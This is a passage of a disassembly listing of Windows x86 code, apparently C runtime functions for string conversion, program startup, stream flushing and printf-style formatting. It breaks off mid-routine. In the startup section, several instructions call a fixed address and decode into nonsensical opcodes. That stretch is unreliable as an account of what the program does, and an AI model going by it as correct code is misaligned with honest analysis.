arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_417AC6
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_417AF3
		cmp	ds:dword_469518, esi
		jnz	short loc_417A4A
		cmp	edi, esi
		jbe	loc_417AF3


loc_417A29:				; CODE XREF: sub_4179F9+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_417AF3
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_417A29
		jmp	loc_417AF3
; ---------------------------------------------------------------------------


loc_417A4A:				; CODE XREF: sub_4179F9+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, ds:dword_421064
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	ds:dword_469528
		call	esi ; dword_421064
		test	eax, eax
		jnz	loc_417AF2
		call	ds:dword_421088	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_417A84


loc_417A75:				; CODE XREF: sub_4179F9+CBj
					; sub_4179F9+F7j
		mov	ds:dword_469484, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_417AF3
; ---------------------------------------------------------------------------


loc_417A84:				; CODE XREF: sub_4179F9+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_417A8C:				; CODE XREF: sub_4179F9+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_417AAE
		mov	edx, ds:off_437D60
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_417AA3
		inc	eax


loc_417AA3:				; CODE XREF: sub_4179F9+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_417A8C


loc_417AAE:				; CODE XREF: sub_4179F9+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	ds:dword_469528
		call	esi ; dword_421064
		test	eax, eax
		jnz	short loc_417AF3
		jmp	short loc_417A75
; ---------------------------------------------------------------------------


loc_417AC6:				; CODE XREF: sub_4179F9+Fj
		cmp	ds:dword_469518, esi
		jnz	short loc_417AD9
		push	[ebp+arg_4]
		call	sub_415CF0
		pop	ecx
		jmp	short loc_417AF3
; ---------------------------------------------------------------------------


loc_417AD9:				; CODE XREF: sub_4179F9+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	ds:dword_469528
		call	ds:dword_421064	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_417A75


loc_417AF2:				; CODE XREF: sub_4179F9+6Bj
		dec	eax


loc_417AF3:				; CODE XREF: sub_4179F9+1Aj
					; sub_4179F9+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4179F9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421678
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		call	ds:dword_42116C	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	ds:dword_46949C, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	ds:dword_469498, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	ds:dword_469494, ecx
		shr	eax, 10h
		mov	ds:dword_469490, eax
		xor	esi, esi
		push	esi
		call	sub_418A83
		pop	ecx
		test	eax, eax
		jnz	short loc_417B64
		push	1Ch
		call	sub_417C13
		pop	ecx


loc_417B64:				; CODE XREF: seg000:00417B5Aj
		mov	[ebp-4], esi
		call	loc_41CC52
		call	near ptr 0A80000h
		pusha
		mov	ds:dword_46AAE4, eax
		call	sub_41CB20
		mov	ds:dword_4694D0, eax
		call	sub_41C8D3
		call	sub_41C81A
		call	sub_4177FA
		mov	[ebp-30h], esi
		lea	eax, [ebp-5Ch]
		push	eax
		call	near ptr 0A80000h
		mov	eax, 4C20E8h
		add	[ecx+45F69C45h], cl
		rol	byte ptr [ecx],	1
		jz	short loc_417BB1
		movzx	eax, word ptr [ebp-2Ch]
		jmp	short loc_417BB4
; ---------------------------------------------------------------------------


loc_417BB1:				; CODE XREF: seg000:00417BA9j
		push	0Ah
		pop	eax


loc_417BB4:				; CODE XREF: seg000:00417BAFj
		push	eax
		push	dword ptr [ebp-64h]
		push	esi
		push	esi
		call	near ptr 0A80000h
		xchg	eax, esp
		push	eax
		call	near ptr sub_40C682
		mov	[ebp-60h], eax
		push	eax
		call	sub_417827
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-68h], ecx
		push	eax
		push	ecx
		call	sub_41C63E
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_417838

; =============== S U B	R O U T	I N E =======================================



sub_417BEE	proc near		; CODE XREF: sub_416852+16p
					; sub_41C81A+4Ep ...

arg_0		= dword	ptr  4

		cmp	ds:dword_4694D8, 1
		jnz	short loc_417BFC
		call	sub_41CEE0


loc_417BFC:				; CODE XREF: sub_417BEE+7j
		push	[esp+arg_0]
		call	sub_41CF19
		push	0FFh
		call	ds:off_437D50
		pop	ecx
		pop	ecx
		retn
sub_417BEE	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C13	proc near		; CODE XREF: seg000:00417B5Ep

arg_0		= dword	ptr  4

		cmp	ds:dword_4694D8, 1
		jnz	short loc_417C21
		call	sub_41CEE0


loc_417C21:				; CODE XREF: sub_417C13+7j
		push	[esp+arg_0]
		call	sub_41CF19
		pop	ecx
		push	0FFh
		call	ds:dword_421114	; ExitProcess
		retn
sub_417C13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C37	proc near		; CODE XREF: sub_4154E9+46p
					; sub_415A6A+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_417D40
		test	al, 40h
		jnz	loc_417D40
		test	al, 1
		jz	short loc_417C6F
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_417D40
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_417C6F:				; CODE XREF: sub_417C37+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_417CA9
		cmp	esi, offset dword_438478
		jz	short loc_417C97
		cmp	esi, offset dword_438498
		jnz	short loc_417CA2


loc_417C97:				; CODE XREF: sub_417C37+56j
		push	ebx
		call	sub_41D0B0
		test	eax, eax
		pop	ecx
		jnz	short loc_417CA9


loc_417CA2:				; CODE XREF: sub_417C37+5Ej
		push	esi
		call	sub_41D06C
		pop	ecx


loc_417CA9:				; CODE XREF: sub_417C37+4Ej
					; sub_417C37+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_417D16
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_417CD9
		push	edi
		push	eax
		push	ebx
		call	sub_41C42A
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_417D0C
; ---------------------------------------------------------------------------


loc_417CD9:				; CODE XREF: sub_417C37+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_417CF4
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_46A7A0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_417CF9
; ---------------------------------------------------------------------------


loc_417CF4:				; CODE XREF: sub_417C37+A5j
		mov	eax, offset dword_4383C0


loc_417CF9:				; CODE XREF: sub_417C37+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_417D0C
		push	2
		push	0
		push	ebx
		call	sub_41BB7F
		add	esp, 0Ch


loc_417D0C:				; CODE XREF: sub_417C37+A0j
					; sub_417C37+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_417D2A
; ---------------------------------------------------------------------------


loc_417D16:				; CODE XREF: sub_417C37+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41C42A
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_417D2A:				; CODE XREF: sub_417C37+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_417D36
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_417D45
; ---------------------------------------------------------------------------


loc_417D36:				; CODE XREF: sub_417C37+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_417D48
; ---------------------------------------------------------------------------


loc_417D40:				; CODE XREF: sub_417C37+10j
					; sub_417C37+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_417D45:				; CODE XREF: sub_417C37+FDj
		or	eax, 0FFFFFFFFh


loc_417D48:				; CODE XREF: sub_417C37+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_417C37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417D4C	proc near		; CODE XREF: sub_4154E9+29p
					; sub_415A6A+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_418465
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_417D80
; ---------------------------------------------------------------------------


loc_417D78:				; CODE XREF: sub_417D4C+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_417D80:				; CODE XREF: sub_417D4C+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_418465
		cmp	bl, 20h
		jl	short loc_417DA1
		cmp	bl, 78h
		jg	short loc_417DA1
		movsx	eax, bl
		mov	al, [eax+421664h]
		and	eax, 0Fh
		jmp	short loc_417DA3
; ---------------------------------------------------------------------------


loc_417DA1:				; CODE XREF: sub_417D4C+40j
					; sub_417D4C+45j
		xor	eax, eax


loc_417DA3:				; CODE XREF: sub_417D4C+53j
		movsx	eax, ds:byte_421684[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_418454	; default
		jmp	ds:off_41846D[eax*4] ; switch jump


loc_417DC1:				; DATA XREF: seg000:off_41846Do
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 00417DBA case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417DDC:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: seg000:off_41846Do
		movsx	eax, bl		; jumptable 00417DBA case 2
		sub	eax, 20h
		jz	short loc_417E1F
		sub	eax, 3
		jz	short loc_417E16
		sub	eax, 8
		jz	short loc_417E0D
		dec	eax
		dec	eax
		jz	short loc_417E04
		sub	eax, 3
		jnz	loc_418454	; default
		or	[ebp+var_4], 8
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417E04:				; CODE XREF: sub_417D4C+A4j
		or	[ebp+var_4], 4
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417E0D:				; CODE XREF: sub_417D4C+A0j
		or	[ebp+var_4], 1
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417E16:				; CODE XREF: sub_417D4C+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417E1F:				; CODE XREF: sub_417D4C+96j
		or	[ebp+var_4], 2
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417E28:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: seg000:off_41846Do
		cmp	bl, 2Ah		; jumptable 00417DBA case 3
		jnz	short loc_417E50
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41852B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_418454	; default
		or	[ebp+var_4], 4
		neg	eax


loc_417E48:				; CODE XREF: sub_417D4C+111j
		mov	[ebp+var_20], eax
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417E50:				; CODE XREF: sub_417D4C+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_417E48
; ---------------------------------------------------------------------------


loc_417E5F:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: seg000:off_41846Do
		mov	[ebp+var_10], edx ; jumptable 00417DBA case 4
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417E67:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: seg000:off_41846Do
		cmp	bl, 2Ah		; jumptable 00417DBA case 5
		jnz	short loc_417E8A
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41852B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_418454	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417E8A:				; CODE XREF: sub_417D4C+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417E9C:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: seg000:off_41846Do
		cmp	bl, 49h		; jumptable 00417DBA case 6
		jz	short loc_417ECF
		cmp	bl, 68h
		jz	short loc_417EC6
		cmp	bl, 6Ch
		jz	short loc_417EBD
		cmp	bl, 77h
		jnz	loc_418454	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417EBD:				; CODE XREF: sub_417D4C+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417EC6:				; CODE XREF: sub_417D4C+158j
		or	[ebp+var_4], 20h
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417ECF:				; CODE XREF: sub_417D4C+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_417EE8
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_417EE8
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417EE8:				; CODE XREF: sub_417D4C+186j
					; sub_417D4C+18Cj
		mov	[ebp+var_30], edx


loc_417EEB:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: seg000:off_41846Do
		mov	ecx, ds:off_437D60 ; jumptable 00417DBA	case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_417F17
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41848D
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_417F17:				; CODE XREF: sub_417D4C+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41848D
		add	esp, 0Ch
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_417F2F:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: seg000:off_41846Do
		movsx	eax, bl		; jumptable 00417DBA case 7
		cmp	eax, 67h
		jg	loc_418157
		cmp	eax, 65h
		jge	loc_417FDA
		cmp	eax, 58h
		jg	loc_418038
		jz	loc_4181CB
		sub	eax, 43h
		jz	loc_417FFB
		dec	eax
		dec	eax
		jz	short loc_417FD0
		dec	eax
		dec	eax
		jz	short loc_417FD0
		sub	eax, 0Ch
		jnz	loc_418356
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_417F79
		or	byte ptr [ebp+var_4+1],	8


loc_417F79:				; CODE XREF: sub_417D4C+227j
					; sub_417D4C+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_417F86
		mov	esi, 7FFFFFFFh


loc_417F86:				; CODE XREF: sub_417D4C+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41852B
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41819F
		test	ecx, ecx
		jnz	short loc_417FAE
		mov	ecx, ds:off_437D5C
		mov	[ebp+var_8], ecx


loc_417FAE:				; CODE XREF: sub_417D4C+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_417FB7:				; CODE XREF: sub_417D4C+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_418196
		cmp	word ptr [eax],	0
		jz	loc_418196
		inc	eax
		inc	eax
		jmp	short loc_417FB7
; ---------------------------------------------------------------------------


loc_417FD0:				; CODE XREF: sub_417D4C+212j
					; sub_417D4C+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_417FDA:				; CODE XREF: sub_417D4C+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_4180BE
		mov	[ebp+var_10], 6
		jmp	loc_4180CC
; ---------------------------------------------------------------------------


loc_417FFB:				; CODE XREF: sub_417D4C+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_418007
		or	byte ptr [ebp+var_4+1],	8


loc_418007:				; CODE XREF: sub_417D4C+2B5j
					; sub_417D4C+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41804E
		call	sub_418548
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41D18F
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_418061
		mov	[ebp+var_28], 1
		jmp	short loc_418061
; ---------------------------------------------------------------------------


loc_418038:				; CODE XREF: sub_417D4C+1FBj
		sub	eax, 5Ah
		jz	short loc_41806F
		sub	eax, 9
		jz	short loc_418007
		dec	eax
		jz	loc_418231
		jmp	loc_418356
; ---------------------------------------------------------------------------


loc_41804E:				; CODE XREF: sub_417D4C+2C5j
		call	sub_41852B
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_418061:				; CODE XREF: sub_417D4C+2E1j
					; sub_417D4C+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_418356
; ---------------------------------------------------------------------------


loc_41806F:				; CODE XREF: sub_417D4C+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41852B
		test	eax, eax
		pop	ecx
		jz	short loc_4180B0
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_4180B0
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_4180A1
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_418356
; ---------------------------------------------------------------------------


loc_4180A1:				; CODE XREF: sub_417D4C+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_418353
; ---------------------------------------------------------------------------


loc_4180B0:				; CODE XREF: sub_417D4C+32Fj
					; sub_417D4C+336j
		mov	eax, ds:off_437D58
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41814C
; ---------------------------------------------------------------------------


loc_4180BE:				; CODE XREF: sub_417D4C+29Dj
		jnz	short loc_4180CC
		cmp	bl, 67h
		jnz	short loc_4180CC
		mov	[ebp+var_10], 1


loc_4180CC:				; CODE XREF: sub_417D4C+2AAj
					; sub_417D4C:loc_4180BEj ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	ds:off_438098
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41811E
		cmp	[ebp+var_10], 0
		jnz	short loc_41811E
		lea	eax, [ebp+var_248]
		push	eax
		call	ds:off_4380A4
		pop	ecx


loc_41811E:				; CODE XREF: sub_417D4C+3BCj
					; sub_417D4C+3C2j
		cmp	bl, 67h
		jnz	short loc_418135
		test	esi, esi
		jnz	short loc_418135
		lea	eax, [ebp+var_248]
		push	eax
		call	ds:off_43809C
		pop	ecx


loc_418135:				; CODE XREF: sub_417D4C+3D5j
					; sub_417D4C+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41814B
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41814B:				; CODE XREF: sub_417D4C+3F0j
		push	edi


loc_41814C:				; CODE XREF: sub_417D4C+36Dj
		call	sub_415CF0
		pop	ecx
		jmp	loc_418353
; ---------------------------------------------------------------------------


loc_418157:				; CODE XREF: sub_417D4C+1E9j
		sub	eax, 69h
		jz	loc_418231
		sub	eax, 5
		jz	loc_418207
		dec	eax
		jz	loc_4181F4
		dec	eax
		jz	short loc_4181C4
		sub	eax, 3
		jz	loc_417F79
		dec	eax
		dec	eax
		jz	loc_418235
		sub	eax, 3
		jnz	loc_418356
		mov	[ebp+var_2C], 27h
		jmp	short loc_4181D2
; ---------------------------------------------------------------------------


loc_418196:				; CODE XREF: sub_417D4C+270j
					; sub_417D4C+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_418353
; ---------------------------------------------------------------------------


loc_41819F:				; CODE XREF: sub_417D4C+24Fj
		test	ecx, ecx
		jnz	short loc_4181AC
		mov	ecx, ds:off_437D58
		mov	[ebp+var_8], ecx


loc_4181AC:				; CODE XREF: sub_417D4C+455j
		mov	eax, ecx


loc_4181AE:				; CODE XREF: sub_417D4C+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_4181BD
		cmp	byte ptr [eax],	0
		jz	short loc_4181BD
		inc	eax
		jmp	short loc_4181AE
; ---------------------------------------------------------------------------


loc_4181BD:				; CODE XREF: sub_417D4C+467j
					; sub_417D4C+46Cj
		sub	eax, ecx
		jmp	loc_418353
; ---------------------------------------------------------------------------


loc_4181C4:				; CODE XREF: sub_417D4C+425j
		mov	[ebp+var_10], 8


loc_4181CB:				; CODE XREF: sub_417D4C+201j
		mov	[ebp+var_2C], 7


loc_4181D2:				; CODE XREF: sub_417D4C+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41823C
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41823C
; ---------------------------------------------------------------------------


loc_4181F4:				; CODE XREF: sub_417D4C+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41823C
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41823C
; ---------------------------------------------------------------------------


loc_418207:				; CODE XREF: sub_417D4C+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41852B
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_418220
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_418225
; ---------------------------------------------------------------------------


loc_418220:				; CODE XREF: sub_417D4C+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_418225:				; CODE XREF: sub_417D4C+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_418231:				; CODE XREF: sub_417D4C+2F7j
					; sub_417D4C+40Ej
		or	[ebp+var_4], 40h


loc_418235:				; CODE XREF: sub_417D4C+432j
		mov	[ebp+var_C], 0Ah


loc_41823C:				; CODE XREF: sub_417D4C+491j
					; sub_417D4C+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41824E
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_418538
		pop	ecx
		jmp	short loc_41828F
; ---------------------------------------------------------------------------


loc_41824E:				; CODE XREF: sub_417D4C+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_418275
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41826A
		call	sub_41852B
		pop	ecx
		movsx	eax, ax


loc_418267:				; CODE XREF: sub_417D4C+527j
					; sub_417D4C+539j
		cdq
		jmp	short loc_41828F
; ---------------------------------------------------------------------------


loc_41826A:				; CODE XREF: sub_417D4C+510j
		call	sub_41852B
		pop	ecx
		movzx	eax, ax
		jmp	short loc_418267
; ---------------------------------------------------------------------------


loc_418275:				; CODE XREF: sub_417D4C+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_418287
		call	sub_41852B
		pop	ecx
		jmp	short loc_418267
; ---------------------------------------------------------------------------


loc_418287:				; CODE XREF: sub_417D4C+531j
		call	sub_41852B
		pop	ecx
		xor	edx, edx


loc_41828F:				; CODE XREF: sub_417D4C+500j
					; sub_417D4C+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_4182B0
		test	edx, edx
		jg	short loc_4182B0
		jl	short loc_41829F
		test	eax, eax
		jnb	short loc_4182B0


loc_41829F:				; CODE XREF: sub_417D4C+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_4182B4
; ---------------------------------------------------------------------------


loc_4182B0:				; CODE XREF: sub_417D4C+547j
					; sub_417D4C+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_4182B4:				; CODE XREF: sub_417D4C+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_4182BD
		and	edi, 0


loc_4182BD:				; CODE XREF: sub_417D4C+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_4182CC
		mov	[ebp+var_10], 1
		jmp	short loc_4182D0
; ---------------------------------------------------------------------------


loc_4182CC:				; CODE XREF: sub_417D4C+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_4182D0:				; CODE XREF: sub_417D4C+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_4182DA
		and	[ebp+var_1C], 0


loc_4182DA:				; CODE XREF: sub_417D4C+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_4182E0:				; CODE XREF: sub_417D4C+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_4182F0
		mov	eax, esi
		or	eax, edi
		jz	short loc_41832B


loc_4182F0:				; CODE XREF: sub_417D4C+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_417260
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_4172E0
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_418321
		add	ebx, [ebp+var_2C]


loc_418321:				; CODE XREF: sub_417D4C+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_4182E0
; ---------------------------------------------------------------------------


loc_41832B:				; CODE XREF: sub_417D4C+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
